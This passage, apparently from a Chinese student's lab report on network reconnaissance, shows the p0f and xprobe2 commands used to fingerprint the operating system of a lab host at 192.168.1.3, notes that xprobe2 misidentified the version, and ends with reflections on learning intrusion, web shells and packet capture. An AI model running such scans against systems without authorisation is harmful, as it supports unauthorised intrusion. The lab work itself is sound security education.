2.3在终端中输入命令“cat /root/p0f.log”,查看探测结果,显示没有成功探测出系统类型(理论上可以弹出目标系统类型,建议换其它目标主机测试)。如图所示。

image-20200524091301005

2.4 xprobe2是一个主动的操作系统识别工具。其通过模糊签名匹配、可能性猜测、同时多匹配和签名数据库来识别操作系统。在终端下输入命令“xprobe2 192.168.1.3”探测目标主机操作系统类型,从探测信息看,只探测出是windows系统,具体版本并没有判断正确。如图所示。

image-20200524090714364

扫描出来是Server 2000,目标机是Server 2003,扫描判断错误

image-20200524091104582

【实验思考】

1.实验中是否探测出目标系统的版本,如果没有,请问如何使探测更加准确?

答:

扫描tcp(-T)中的20,21,22和udp(-U)中的53,67 端口,猜想操作系统。(更进一步,可以提供更多的开放端口以提高准确性)

1
xprobe2 -T 20,21,22 -U 53,67 192.168.1.3

image-20200524091838690

2.

image-20200524092045616

实验心得与总结

  • 本次实验实践了简单的网络侦察、漏洞挖掘以及FTP明文抓取、kali主机探测等,学习到了很多有用的命令。并且在网络侦察、漏洞挖掘实验中学习了简单的入侵实验。
  • 实验的容量还是很大的(光是网络侦察实验就够劝退人了啊喂。。),但也因此学习到了很多东西(一颗坚毅的心)。对入侵的操作、一句话木马、抓包、漏洞挖掘等,都进行了熟悉。
  • 这部分的工具和思想对我们的日常工作是很有帮助的,并且这些都是后面进行网络渗透的基础,需要认真学习掌握。